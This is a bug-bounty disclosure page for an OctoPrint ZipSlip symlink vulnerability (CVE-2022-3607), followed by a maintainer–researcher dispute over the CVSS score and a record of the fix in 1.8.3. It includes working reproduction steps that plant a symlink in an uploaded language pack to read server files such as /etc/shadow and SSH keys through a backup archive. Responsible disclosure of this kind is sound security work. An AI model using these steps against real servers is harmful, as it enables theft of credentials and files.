ZipSlip Symlink variant allows to read any file within OctoPrint Box in octoprint/octoprint

2

Valid Reported on Aug 24th 2022

Using the ZipSlip symlink variant, it is possible to steal any file from the OctoPrint remote server via an upload of a maliciously crafted archive as a language pack and download the stolen files within a backup archive.
To set up the Octoprint web application, we used the dockerized version

```
sudo docker volume create octoprint
sudo docker run -d -v octoprint:/octoprint -p 80:80 --name octoprint octopr
```

Generate a maliciously crafted archive as follow:

```
# unzip the language pack for italian
unzip language-pack-it.zip
cd ./it/LC_MESSAGES/

# generate a symlink as shown below, notice the difference between ../ and
ln -s ./../../../../../../../../../../etc/issue issue.y3

# add it to a maliciously crafted TAR archive
tar -cvf it_crafted.tar ./it/
```

After initial configuration with default parameters, login and head to **OctoPrint Settings > Octoprint Appearance > Language Packs**. Click on **Manage > Upload additional Language Packs.** Upload the `it_crafted.tar` archive as a language pack.
Now, head to **Octoprint settings > Backup & Restore.** Click on **Create backup now.** Download the new backup archive. Read the content of the file located with' archive at `/basedir/translations/it/LC_MESSAGES/issue.y3` . You will get the file.

Impact

An impact would be to steal `/etc/passwd` and `/etc/shadow` and decrypt passwords or steal files within `~/.ssh` to remotely access the Octoprint box.

Occurrences

languages.py L193

The sanity check does not consider `./`

CVE
CVE-2022-3607
(Published)

Vulnerability Type
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

Severity
Medium (6)

Registry
Other

Affected Version
v1.8.2

Visibility
Public

Status
Fixed

Found by

Sim4n6
@sim4n6
amateur

Fixed by

Gina Häußge

@foosel

maintainer

This report was seen 889 times.

We are processing your report and will contact the **octoprint** team within 24 hours. 3 months ago

Sim4n6 modified the report 3 months ago

We have contacted a member of the **octoprint** team and are waiting to hear back 3 months ago

We have sent a follow up to the **octoprint** team. We will try again in 7 days. 3 months ago

A **octoprint/octoprint** maintainer has acknowledged this report 3 months ago

Gina Häußge modified the Severity from High (8.8) to Medium (4.4) 3 months ago

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

Gina Häußge validated this vulnerability 3 months ago

I score this as a CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N and thus a Medium 4.4

Explanation:

AV:L - "login as" - you need a login session, so you need to take one over from a victim and thus need to take over a browser. even if not, OctoPrint is supposed to be run in a secure LAN, docs and app tell users this, so AV:N would constitute a misconfiguration on part of the admin and not a security issue in the software. Therefore, the max you can even score here for OctoPrint is AV:A (which would turn this from 4.4 to 4.5 and still Medium if you cannot see the reasoning behind AV:L).
PR:H - "login as" a user with *admin* rights is needed to perform this attack - twice even! In no way do low privileges suffice here, and in fact the instance already needs to be compromised (and thus qualify to be nuked from orbit)
I:N - there's no effect on integrity
A:N - there' no effect on availability

Please explain your reasoning behind scoring this as AV:N, PR:L, I:H and A:H.

Sim4n6 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Sim4n6 3 months ago Researcher

I'm no good with CVSS. But after reviewing some definitions. Here is my opinion:
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

So, we disagree with the following metrics:

Attack Vector (AV) = **N** : we choose Local when the attacker needs an Keyboard access or SSH...

Scope (S) = **C** : an affected OctoPrint website can have an impact on the server beyond the OctoPrint software.

Integrity (I) = **L** : modification of data is possible.

I see this vulnerability as very impactful. Because I could steal server-side files.

Gina Häußge 3 months ago Maintainer

"I'm no good with CVSS"

Then please please read up on this and test your knowledge on some published and scored vulnerabilities first before scoring vulnerabilities on actual projects. I've spent the past month doing almost nothing but constantly correcting wrong severity scores from researchers who are "no good with CVSS", and at some point, given the bounty connection to severity, it feels intentional. This has had severe consequences for my ability to work on the project itself, and for the whole team's motivation.

"Attack Vector (AV) = N : we choose Local when the attacker needs an Keyboard access or SSH..."

No, network means "an attacker on the Cayman Islands can exploit this vulnerability on my OctoPrint install in Germany". OctoPrint runs in secured LANs, anything else is a misconfiguration. So at the MOST this is AV:A. However, since you NEED a session to run the attack, and actually an admin session to boot, this is Local. Local means you have to get access to the victim's system in some way. Here you need a hijacked browser session instead of keyboard and SSH, but it's still local. You cannot execute this attack without taking over a victim's session, and since that is in a secure cookie stored in the browser, you need access to the browser, either locally or through something like RDP or VNC. Looking at "cookie stolen and used from elsewhere" here would be attack chaining, since you'd first need to
and that's a different attack.

"Scope (S) = C : an affected OctoPrint website can have an impact on the server beyond the

OctoPrint software."

After thinking about this some more, ok, yes, I agree here. Since you can steal data outside of OctoPrint's jurisdiction, like OS files, this qualifies. But please don't call it a website. It's not a website, it's a server that is supposed to be run on the user's LAN. An internal app. Not a public website.

"Integrity (I) = L : modification of data is possible."

Please elaborate. So far I've only seen data extraction by setting up a special symlink and then using that to extract data. There's no data being changed/written, it's only being read.

"I see this vulnerability as very impactful. Because I could steal server-side files."

Given that it requires two steps with a compromised *admin* account, sorry, but no. If the admin account is compromised, this comes close to the severity of a compromised root account on a server. We are talking about "nuke the system from orbit now" level of severity of *this* scenario. Being able to upload a manipulated language pack and then running a backup to extract data becomes a moot point when you just as well can install a manipulated plugin to gain a reverse shell (and no, that is not a valid vulnerability to report next, that is the same as if you said that SSH has a vulnerability in that it does allows remote code execution). So yes, this is something I'll fix (and in fact already have on a private repo for internal testing before release), but no, given the level of access it requires to pull off, it is not "very impactful".

So, in summary, I'm fine with stating this as CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N, 6.0 (Medium). @admin can we update the severity to that?

Even with Integrity Low (which I absolutely do not see here, but I'm happy to be corrected) this would be a 6.7 (Medium). And *even* if we ignore for a bit that a browser session is needed here to pull this off and go with AV:A on top of this, this is still a Medium at 6.9.

AV:N is completely out of the question here. We have FAQ entries, blog posts and even automatic warnings in OctoPrint itself to tell people to not put it on the internet or other hostile networks, for the very reason that something connected to a 3d printer does not belong in hostile networks, the same way a fridge, a paper printer or a nuclear power plant doesn't belong there.

I *could* also make a case for C:L given that the attacker does not control what the user OctoPrint is running under even has read access to (I highly doubt that `/etc/shadow` would normally be a part of that, it certainly isn't under the most commonly used OctoPi distribution), but I agree that under normal conditions the access here is probably enough to make this qualify for C:H.

Sim4n6 3 months ago Researcher

fine for me.

Jamie Slome 3 months ago Admin

CVSS updated 👍

We have sent a fix follow up to the **octoprint** team. We will try again in 7 days. 3 months ago

We have sent a second fix follow up to the **octoprint** team. We will try again in 10 days. 3 months ago

We have sent a third and final fix follow up to the **octoprint** team. This report is now considered stale. 2 months ago

Gina Häußge marked this as fixed in **1.8.3** with commit **3cca3a** 2 months ago

Gina Häußge has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

languages.py#L193 has been validated ✔

Sim4n6 2 months ago Researcher

Would it be possible to allow the assignment of a CVE for this report, please?

Pavlos 2 months ago Admin

Hey Gina! Do you agree to have a CVE assigned here?

@maintainer

Gina Häußge a month ago Maintainer

Yes, go ahead. Though I do wonder why that wasn't requested from the get go.

Pavlos a month ago Admin

Thanks! We're making part of the standard publication flow at the moment :)

Pavlos a month ago

Admin

making it*

Sign in to join this conversation

Chat with us